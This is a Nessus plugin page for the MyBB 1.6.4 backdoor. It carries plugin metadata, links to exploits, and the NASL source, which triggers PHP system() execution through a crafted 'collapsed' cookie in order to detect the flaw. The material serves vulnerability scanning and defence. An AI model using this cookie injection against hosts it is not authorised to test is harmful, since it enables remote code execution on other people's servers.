MyBB 1.6.4 Backdoor PHP Remote Code Execution - Nessus

High Plugin ID: 56512

This page contains detailed information about the MyBB 1.6.4 Backdoor PHP Remote Code Execution Nessus plugin including available exploits and PoCs found on GitHub, in Metasploit or Exploit-DB for verifying of this vulnerability.

Table Of Contents

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Plugin Overview
Vulnerability Information

Synopsis
Description
Solution

Public Exploits
Risk Information
Plugin Source
How to Run
References
Version

Plugin Overview

ID: 56512
Name: MyBB 1.6.4 Backdoor PHP Remote Code Execution
Filename: mybb_collapse_backdoor.nasl
Vulnerability Published: 2011-10-06
This Plugin Published: 2011-10-14
Last Modification Time: 2022-04-11
Plugin Version: 1.11
Plugin Type: remote
Plugin Family: CGI abuses
Dependencies: mybb_detect.nasl, os_fingerprint.nasl
Required KB Items [?]: installed_sw/MyBB, www/PHP

Vulnerability Information

Severity: High
Vulnerability Published: 2011-10-06
Patch Published: 2011-10-06
CVE [?]: N/A
CPE [?]: cpe:/a:mybb:mybb

Synopsis

The remote web server hosts a PHP application that is affected by a remote code execution vulnerability.

Description

A version of MyBB 1.6.4 with a backdoor was detected on the remote host. The MyBB source code repository was compromised, and backdoor code was added to allow arbitrary PHP execution. The backdoor is present in MyBB 1.6.4 downloaded on or before October 6, 2011. A remote, unauthenticated attacker can exploit this to execute arbitrary PHP code on the affected host, subject to the privileges under which the web server runs.

Solution

Install the latest version of MyBB 1.6.4. Alternatively, apply the patch referenced in the vendor advisory.

Public Exploits

Target Network Port(s): 80
Target Asset(s): Services/www
Exploit Available: True (Metasploit Framework, Exploit-DB, D2 Elliot)
Exploit Ease: Exploits are available

Here's the list of publicly known exploits and PoCs for verifying the MyBB 1.6.4 Backdoor PHP Remote Code Execution vulnerability:

Metasploit: exploit/unix/webapp/mybb_backdoor
[myBB 1.6.4 Backdoor Arbitrary Command Execution]
Exploit-DB: exploits/php/webapps/17949.rb
[EDB-17949: MyBB 1.6.4 - Backdoor Access (Metasploit)]
D2 Elliot: mybb_1.6.4_rce.html
[MyBB 1.6.4 RCE]

Before running any exploit against any system, make sure you are authorized by the owner of the target system(s) to perform such activity. In any other case, this would be considered as an illegal activity.

WARNING: Beware of using unverified exploits from sources such as GitHub or Exploit-DB. These exploits and PoCs could contain malware. For more information, see how to use exploits safely.

Risk Information

CVSS Score Source [?]: Manual
CVSS Score Rationale: Score based on analysis of the vulnerability.
CVSS V2 Vector: AV:N/AC:L/Au:N/C:P/I:P/A:P/E:F/RL:OF/RC:C

CVSS Base Score:	7.5 (High)
Impact Subscore:	6.4
Exploitability Subscore:	10.0
CVSS Temporal Score:	6.2 (Medium)
CVSS Environmental Score:	NA (None)
Modified Impact Subscore:	NA
Overall CVSS Score:	6.2 (Medium)

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Plugin Source

#%NASL_MIN_LEVEL 70300
#
# (C) Tenable Network Security, Inc.
#

include('deprecated_nasl_level.inc');
include('compat.inc');

if (description)
{
  script_id(56512);
  script_version("1.11");
  script_set_attribute(attribute:"plugin_modification_date", value:"2022/04/11");
  script_bugtraq_id(49993);
  script_xref(name:"EDB-ID", value:"17949");
  script_xref(name:"SECUNIA", value:"46300");

  script_name(english:"MyBB 1.6.4 Backdoor PHP Remote Code Execution");

  script_set_attribute(attribute:"synopsis", value:
"The remote web server hosts a PHP application that is affected by
a remote code execution vulnerability.");
  script_set_attribute(attribute:"description", value:
"A version of MyBB 1.6.4 with a backdoor was detected on the remote
host. The MyBB source code repository was compromised, and backdoor
code was added to allow arbitrary PHP execution. The backdoor is
present in MyBB 1.6.4 downloaded on or before October 6, 2011. A
remote, unauthenticated attacker can exploit this to execute arbitrary
PHP code on the affected host, subject to the privileges under which
the web server runs.");
  script_set_attribute(attribute:"see_also", value:"https://blog.mybb.com/2011/10/06/1-6-4-security-vulnerabilit/");
  script_set_attribute(attribute:"see_also", value:"http://blog.mybb.com/wp-content/uploads/2011/10/mybb_1604_patches.txt");
  script_set_attribute(attribute:"solution", value:
"Install the latest version of MyBB 1.6.4. Alternatively, apply the
patch referenced in the vendor advisory.");
  script_set_cvss_base_vector("CVSS2#AV:N/AC:L/Au:N/C:P/I:P/A:P");
  script_set_cvss_temporal_vector("CVSS2#E:F/RL:OF/RC:C");
  script_set_attribute(attribute:"cvss_score_source", value:"manual");
  script_set_attribute(attribute:"cvss_score_rationale", value:"Score based on analysis of the vulnerability.");

  script_set_attribute(attribute:"exploitability_ease", value:"Exploits are available");
  script_set_attribute(attribute:"exploit_available", value:"true");
  script_set_attribute(attribute:"d2_elliot_name", value:"MyBB 1.6.4 RCE");
  script_set_attribute(attribute:"exploit_framework_d2_elliot", value:"true");
  script_set_attribute(attribute:"metasploit_name", value:'myBB 1.6.4 Backdoor Arbitrary Command Execution');
  script_set_attribute(attribute:"exploit_framework_metasploit", value:"true");

  script_set_attribute(attribute:"vuln_publication_date", value:"2011/10/06");
  script_set_attribute(attribute:"patch_publication_date", value:"2011/10/06");
  script_set_attribute(attribute:"plugin_publication_date", value:"2011/10/14");

  script_set_attribute(attribute:"plugin_type", value:"remote");
  script_set_attribute(attribute:"cpe", value:"cpe:/a:mybb:mybb");
  script_set_attribute(attribute:"thorough_tests", value:"true");
  script_end_attributes();

  script_category(ACT_ATTACK);
  script_family(english:"CGI abuses");

  script_copyright(english:"This script is Copyright (C) 2011-2022 Tenable Network Security, Inc.");

  script_dependencies("mybb_detect.nasl", "os_fingerprint.nasl");
  script_require_keys("www/PHP", "installed_sw/MyBB");
  script_require_ports("Services/www", 80);

  exit(0);
}

include("audit.inc");
include("global_settings.inc");
include("misc_func.inc");
include("http.inc");
include("url_func.inc");
include("install_func.inc");

app = "MyBB";
get_install_count(app_name:app, exit_if_zero:TRUE);

port = get_http_port(default:80, php:TRUE);

install = get_single_install(
  app_name : app,
  port     : port
);

dir = install['path'];
install_url = build_url(port:port, qs:dir);

# make an educated guess about which command to run,
# unless paranoid or unable to fingerprint the OS
os = get_kb_item("Host/OS");
if (os && report_paranoia < 2)
{
  if ("Windows" >< os) cmd = 'ipconfig /all';
  else cmd = 'id';

  cmds = make_list(cmd);
}
else cmds = make_list('id', 'ipconfig /all');

cmd_pats = make_array();
cmd_pats['id'] = "uid=[0-9]+.*gid=[0-9]+.*";
cmd_pats['ipconfig /all'] = "Windows IP Configuration|(Subnet Mask|IP(v(4|6))? Address)[\. ]*:";

url = dir + '/index.php';
enable_cookiejar();
vuln = FALSE;

foreach cmd (cmds)
{
  php = urlencode(str:'system("' + cmd + '");');
  clear_cookiejar();
  set_http_cookie(name:'collapsed', value:'0|1|2|3|4|5|6|7|8|9|10|11|12|13|14|15|16|17|18|19|20|21|22|' + php);
  res = http_send_recv3(method:'GET', item:url, port:port, exit_on_fail:TRUE);

  if (egrep(pattern:cmd_pats[cmd], string:res[2]))
  {
    vuln = TRUE;
    break;
  }
}
if (!vuln) audit(AUDIT_WEB_APP_NOT_AFFECTED, app, install_url);

rest = strstr(res[2], '<!DOCTYPE');
if (!empty_or_null(rest)) output = res[2] - rest;
else output = res[2];

security_report_v4(
  port        : port,
  severity    : SECURITY_HOLE,
  cmd         : cmd,
  line_limit  : 2,
  request     : make_list(http_last_sent_request()),
  output      : chomp(output)
);
exit(0);

The latest version of this script can be found in these locations depending on your platform:

Linux / Unix:
/opt/nessus/lib/nessus/plugins/mybb_collapse_backdoor.nasl
Windows:
C:\ProgramData\Tenable\Nessus\nessus\plugins\mybb_collapse_backdoor.nasl
Mac OS X:
/Library/Nessus/run/lib/nessus/plugins/mybb_collapse_backdoor.nasl

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How to Run

Here is how to run the MyBB 1.6.4 Backdoor PHP Remote Code Execution as a standalone plugin via the Nessus web user interface (https://localhost:8834/):

Click to start a New Scan.
Select Advanced Scan.
Navigate to the Plugins tab.
On the top right corner click to Disable All plugins.
On the left side table select CGI abuses plugin family.
On the right side table select MyBB 1.6.4 Backdoor PHP Remote Code Execution plugin ID 56512.
Specify the target on the Settings tab and click to Save the scan.
Run the scan.

Here are a few examples of how to run the plugin in the command line. Note that the examples below demonstrate the usage on the Linux / Unix platform.

Basic usage:

/opt/nessus/bin/nasl mybb_collapse_backdoor.nasl -t <IP/HOST>

Run the plugin with audit trail message on the console:

/opt/nessus/bin/nasl -a mybb_collapse_backdoor.nasl -t <IP/HOST>

Run the plugin with trace script execution written to the console (useful for debugging):

/opt/nessus/bin/nasl -T - mybb_collapse_backdoor.nasl -t <IP/HOST>

Run the plugin with using a state file for the target and updating it (useful for running multiple plugins on the target):

/opt/nessus/bin/nasl -K /tmp/state mybb_collapse_backdoor.nasl -t <IP/HOST>

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References

BID | SecurityFocus Bugtraq ID:

49993

Secunia Advisory:

46300

See also:

Similar and related Nessus plugins:

64936 - MyBB < 1.6.9 Multiple Vulnerabilities
22055 - MyBB HTTP Header 'CLIENT-IP' Field SQLi
29996 - MyBB forumdisplay.php 'sortby' Parameter Arbitrary PHP Code Execution

Version

This page has been produced using Nessus Professional 10.1.2 (#68) LINUX, Plugin set 202205072148.
Plugin file mybb_collapse_backdoor.nasl version 1.11. For more plugins, visit the Nessus Plugin Library.

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MyBB 1.6.4 Backdoor PHP Remote Code Execution - Nessus

Plugin Overview

Vulnerability Information

Synopsis

Description

Solution

Public Exploits

Risk Information

Plugin Source

How to Run

References

Version

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